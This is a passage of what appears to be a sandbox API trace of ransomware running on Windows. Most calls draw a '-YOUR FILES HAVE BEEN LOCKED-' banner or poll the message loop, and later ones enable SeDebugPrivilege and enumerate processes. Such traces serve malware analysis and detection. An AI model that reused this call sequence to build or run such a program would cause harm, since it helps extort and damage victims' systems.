0x0 [0131.308] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eaa8) returned 0x0 [0131.308] GetCurrentObject (hdc=0x2601020b, type=0x1) returned 0x1b00017 [0131.308] GetCurrentObject (hdc=0x2601020b, type=0x2) returned 0x1900010 [0131.308] GetCurrentObject (hdc=0x2601020b, type=0x7) returned 0x905020e [0131.308] GetCurrentObject (hdc=0x2601020b, type=0x6) returned 0x18a002e [0131.308] SaveDC (hdc=0x2601020b) returned 1 [0131.308] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1504021a [0131.308] GetClipRgn (hdc=0x2601020b, hrgn=0x1504021a) returned 0 [0131.308] SelectClipRgn (hdc=0x2601020b, hrgn=0x20040229) returned 2 [0131.308] DeleteObject (ho=0x1504021a) returned 1 [0131.308] DeleteObject (ho=0x20040229) returned 1 [0131.308] OffsetViewportOrgEx (in: hdc=0x2601020b, x=0, y=0, lppt=0x2ae86f8 | out: lppt=0x2ae86f8) returned 1 [0131.308] GetNearestColor (hdc=0x2601020b, color=0x0) returned 0x0 [0131.308] CreateSolidBrush (color=0x0) returned 0x1210020f [0131.308] FillRect (hDC=0x2601020b, lprc=0xb6eaac, hbr=0x1210020f) returned 1 [0131.308] DeleteObject (ho=0x1210020f) returned 1 [0131.308] RestoreDC (hdc=0x2601020b, nSavedDC=-1) returned 1 [0131.308] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2601020b) returned 0x0 [0131.308] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfda50dbd) returned 0x0 [0131.308] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.308] GetWindowTextLengthW (hWnd=0x10178) returned 29 [0131.308] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d [0131.308] GetSystemMetrics (nIndex=42) returned 0 [0131.308] GetWindowTextW (in: hWnd=0x10178, lpString=0xb6eb24, nMaxCount=30 | out: lpString="-YOUR FILES HAVE BEEN LOCKED-") returned 29 [0131.308] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0xd, wParam=0x1e, lParam=0xb6eb24) returned 0x1d [0131.309] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eac8) returned 0x0 [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x1) returned 0x1b00017 [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x2) returned 0x1900010 [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x7) returned 0x905020e [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x6) returned 0x18a002e [0131.309] SaveDC (hdc=0x2601020b) returned 1 [0131.309] GetNearestColor (hdc=0x2601020b, color=0xff00) returned 0xff00 [0131.309] RestoreDC (hdc=0x2601020b, nSavedDC=-1) returned 1 [0131.309] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2601020b) returned 0x0 [0131.309] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.309] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.309] GdipGetTextRenderingHint (graphics=0x5c59bb8, mode=0xb6ea68) returned 0x0 [0131.309] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ea54) returned 0x0 [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x1) returned 0x1b00017 [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x2) returned 0x1900010 [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x7) returned 0x905020e [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x6) returned 0x18a002e [0131.309] SaveDC (hdc=0x2601020b) returned 1 [0131.309] GetTextAlign (hdc=0x2601020b) returned 0x0 [0131.309] GetTextColor (hdc=0x2601020b) returned 0x0 [0131.309] SetTextColor (hdc=0x2601020b, color=0xff00) returned 0x0 [0131.309] GetCurrentObject (hdc=0x2601020b, type=0x6) returned 0x18a002e [0131.309] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.309] SelectObject (hdc=0x2601020b, h=0x30a0228) returned 0x18a002e [0131.309] GetBkMode (hdc=0x2601020b) returned 2 [0131.310] SetBkMode (hdc=0x2601020b, mode=1) returned 2 [0131.310] DrawTextExW (in: hdc=0x2601020b, lpchText="-YOUR FILES HAVE BEEN LOCKED-", cchText=29, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2ae8c4c | out: lpchText="-YOUR FILES HAVE BEEN LOCKED-", lprc=0xb6e9e8) returned 25 [0131.311] RestoreDC (hdc=0x2601020b, nSavedDC=-1) returned 1 [0131.311] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2601020b) returned 0x0 [0131.311] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec04) returned 0x0 [0131.311] BitBlt (hdc=0x100101b7, x=0, y=0, cx=398, cy=25, hdcSrc=0x2601020b, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.311] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2601020b) returned 0x0 [0131.311] SelectPalette (hdc=0x100101b7, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.311] SelectObject (hdc=0x2601020b, h=0x185000f) returned 0x905020e [0131.311] DeleteDC (hdc=0x2601020b) returned 1 [0131.311] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.311] EndPaint (hWnd=0x10178, lpPaint=0xb6eba8) returned 1 [0131.311] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.311] IsWindowUnicode (hWnd=0x1017a) returned 1 [0131.311] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.311] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.311] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.311] BeginPaint (in: hWnd=0x1017a, lpPaint=0xb6ebe8 | out: lpPaint=0xb6ebe8) returned 0x1401007f [0131.312] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.312] SelectPalette (hdc=0x1401007f, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.312] CreateCompatibleDC (hdc=0x1401007f) returned 0x2901020b [0131.312] GetObjectType (h=0x1401007f) returned 0x3 [0131.312] CreateCompatibleBitmap (hdc=0x1401007f, cx=1, cy=1) returned 0xd05020c [0131.312] GetDIBits (in: hdc=0x1401007f, hbm=0xd05020c, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0xb6e698, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e698) returned 1 [0131.312] GetDIBits (in: hdc=0x1401007f, hbm=0xd05020c, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xb6e698, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e698) returned 1 [0131.312] DeleteObject (ho=0xd05020c) returned 1 [0131.312] CreateDIBSection (in: hdc=0x1401007f, lpbmi=0xb6e6e8, usage=0x0, ppvBits=0xb6ebdc, hSection=0x0, offset=0x0 | out: ppvBits=0xb6ebdc) returned 0x20050210 [0131.312] SelectObject (hdc=0x2901020b, h=0x20050210) returned 0x185000f [0131.312] GdipCreateFromHDC (hdc=0x2901020b, graphics=0xb6ebc0) returned 0x0 [0131.312] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.312] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=124, height=108, combineMode=0x0) returned 0x0 [0131.312] GdipCreateMatrix (matrix=0xb6ec48) returned 0x0 [0131.312] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.312] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec60) returned 0x0 [0131.312] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.312] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.312] LocalFree (hMem=0xe029a0) returned 0x0 [0131.312] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.312] GdipCreateRegion (region=0xb6ec48) returned 0x0 [0131.312] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.312] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec54) returned 0x0 [0131.312] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec80) returned 0x0 [0131.313] GetWindowTextLengthW (hWnd=0x1017a) returned 0 [0131.313] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.313] GetSystemMetrics (nIndex=42) returned 0 [0131.313] GetWindowTextW (in: hWnd=0x1017a, lpString=0xb6eb98, nMaxCount=1 | out: lpString="") returned 0 [0131.313] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0xd, wParam=0x1, lParam=0xb6eb98) returned 0x0 [0131.313] GetClientRect (in: hWnd=0x1017a, lpRect=0xb6ec48 | out: lpRect=0xb6ec48) returned 1 [0131.313] GdipCreateRegion (region=0xb6ea9c) returned 0x0 [0131.313] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.313] GdipCreateMatrix (matrix=0xb6ea9c) returned 0x0 [0131.313] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.313] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6eab4) returned 0x0 [0131.313] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.313] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.313] LocalFree (hMem=0xe029a0) returned 0x0 [0131.313] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.313] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.313] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.313] LocalFree (hMem=0xe029a0) returned 0x0 [0131.313] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.313] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eadc) returned 0x0 [0131.313] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eacc) returned 0x0 [0131.313] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6eacc) returned 0x0 [0131.313] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.313] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eae4) returned 0x0 [0131.313] GetCurrentObject (hdc=0x2901020b, type=0x1) returned 0x1b00017 [0131.313] GetCurrentObject (hdc=0x2901020b, type=0x2) returned 0x1900010 [0131.313] GetCurrentObject (hdc=0x2901020b, type=0x7) returned 0x20050210 [0131.313] GetCurrentObject (hdc=0x2901020b, type=0x6) returned 0x18a002e [0131.313] SaveDC (hdc=0x2901020b) returned 1 [0131.313] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x21040229 [0131.313] GetClipRgn (hdc=0x2901020b, hrgn=0x21040229) returned 0 [0131.313] SelectClipRgn (hdc=0x2901020b, hrgn=0x1704021a) returned 2 [0131.313] DeleteObject (ho=0x21040229) returned 1 [0131.313] DeleteObject (ho=0x1704021a) returned 1 [0131.313] OffsetViewportOrgEx (in: hdc=0x2901020b, x=0, y=0, lppt=0x2aea080 | out: lppt=0x2aea080) returned 1 [0131.313] GetNearestColor (hdc=0x2901020b, color=0x0) returned 0x0 [0131.314] CreateSolidBrush (color=0x0) returned 0x1310020f [0131.314] FillRect (hDC=0x2901020b, lprc=0xb6eae8, hbr=0x1310020f) returned 1 [0131.314] DeleteObject (ho=0x1310020f) returned 1 [0131.314] RestoreDC (hdc=0x2901020b, nSavedDC=-1) returned 1 [0131.314] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2901020b) returned 0x0 [0131.314] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfda30dbd) returned 0x0 [0131.314] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.314] GetWindowTextLengthW (hWnd=0x1017a) returned 0 [0131.314] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.314] GetSystemMetrics (nIndex=42) returned 0 [0131.314] GetWindowTextW (in: hWnd=0x1017a, lpString=0xb6eb98, nMaxCount=1 | out: lpString="") returned 0 [0131.314] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0xd, wParam=0x1, lParam=0xb6eb98) returned 0x0 [0131.314] GdipDrawImageRectI (graphics=0x5c59bb8, image=0x59bfcf0, x=0, y=0, width=177, height=132) returned 0x0 [0131.317] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec40) returned 0x0 [0131.317] BitBlt (hdc=0x1401007f, x=0, y=0, cx=177, cy=132, hdcSrc=0x2901020b, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.317] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2901020b) returned 0x0 [0131.317] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.317] SelectObject (hdc=0x2901020b, h=0x185000f) returned 0x20050210 [0131.318] DeleteDC (hdc=0x2901020b) returned 1 [0131.318] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.318] DeleteObject (ho=0x20050210) returned 1 [0131.318] EndPaint (hWnd=0x1017a, lpPaint=0xb6ebe4) returned 1 [0131.318] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0131.318] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0131.348] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.348] IsWindowUnicode (hWnd=0x10162) returned 1 [0131.348] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.348] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.348] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.348] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0131.348] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0131.348] WaitMessage () returned 1 [0131.551] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.551] IsWindowUnicode (hWnd=0x10164) returned 1 [0131.551] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.551] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.551] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.551] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0131.551] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0131.551] WaitMessage () returned 1 [0131.769] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.769] IsWindowUnicode (hWnd=0x10166) returned 1 [0131.769] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.769] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.769] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.769] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0131.769] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0131.769] WaitMessage () returned 1 [0132.300] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0132.300] IsWindowUnicode (hWnd=0x10166) returned 1 [0132.300] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0132.300] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0132.300] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0132.300] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0132.300] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0132.300] WaitMessage () returned 1 [0132.830] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0132.830] IsWindowUnicode (hWnd=0x10166) returned 1 [0132.830] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0132.830] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0132.830] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0132.830] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0132.830] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0132.830] WaitMessage () returned 1 [0133.236] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0133.236] IsWindowUnicode (hWnd=0x1015c) returned 1 [0133.236] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0133.236] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0133.236] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0133.248] GetProcessHeap () returned 0xd90000 [0133.248] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe3b038 | out: hHeap=0xd90000) returned 1 [0133.248] GetProcessHeap () returned 0xd90000 [0133.248] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe314f0 | out: hHeap=0xd90000) returned 1 [0133.251] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xb6e634 | out: lpLuid=0xb6e634*(LowPart=0x14, HighPart=0)) returned 1 [0133.252] GetCurrentProcess () returned 0xffffffff [0133.252] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xb6e630 | out: TokenHandle=0xb6e630*=0x2a8) returned 1 [0133.252] AdjustTokenPrivileges (in: TokenHandle=0x2a8, DisableAllPrivileges=0, NewState=0x2aea6ac*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0133.252] CloseHandle (hObject=0x2a8) returned 1 [0133.256] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x78a0) returned 0x0 [0133.263] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6e37c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0133.264] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0133.264] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0133.264] WaitMessage () returned 1 [0133.360] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0133.360] IsWindowUnicode (hWnd=0x10166) returned 1 [0133.360] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0133.360] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0133.360] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0133.360] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0133.361] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0133.361] WaitMessage () returned 1 [0133.895] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0133.895] IsWindowUnicode (hWnd=0x10166) returned 1 [0133.895] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0133.895] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0133.895] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0133.895] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0133.895] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0133.895] WaitMessage () returned 1 [0134.421] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0134.421] IsWindowUnicode (hWnd=0x10166) returned 1 [0134.421] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0134.421] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0134.421] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0134.421] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0134.421] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0134.421] WaitMessage () returned 1 [0134.967] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0134.967] IsWindowUnicode (hWnd=0x10166) returned 1 [0134.967] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0134.967] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0134.967] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0134.967] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0134.967] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0134.967] WaitMessage () returned 1 [0135.268] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0135.268] IsWindowUnicode (hWnd=0x1015c) returned 1 [0135.268] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0135.268] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0135.268] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0135.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x78a0) returned 0x0 [0135.271] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0135.271] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0135.271] WaitMessage () returned 1 [0135.498] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0135.498] IsWindowUnicode (hWnd=0x10166) returned 1 [0135.498] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0135.498] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0135.498] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0135.498] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0135.498] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0135.498] WaitMessage () returned 1 [0136.053] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0136.053] IsWindowUnicode (hWnd=0x10166) returned 1 [0136.053] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0136.053] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0136.053] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0136.054] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0136.054] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 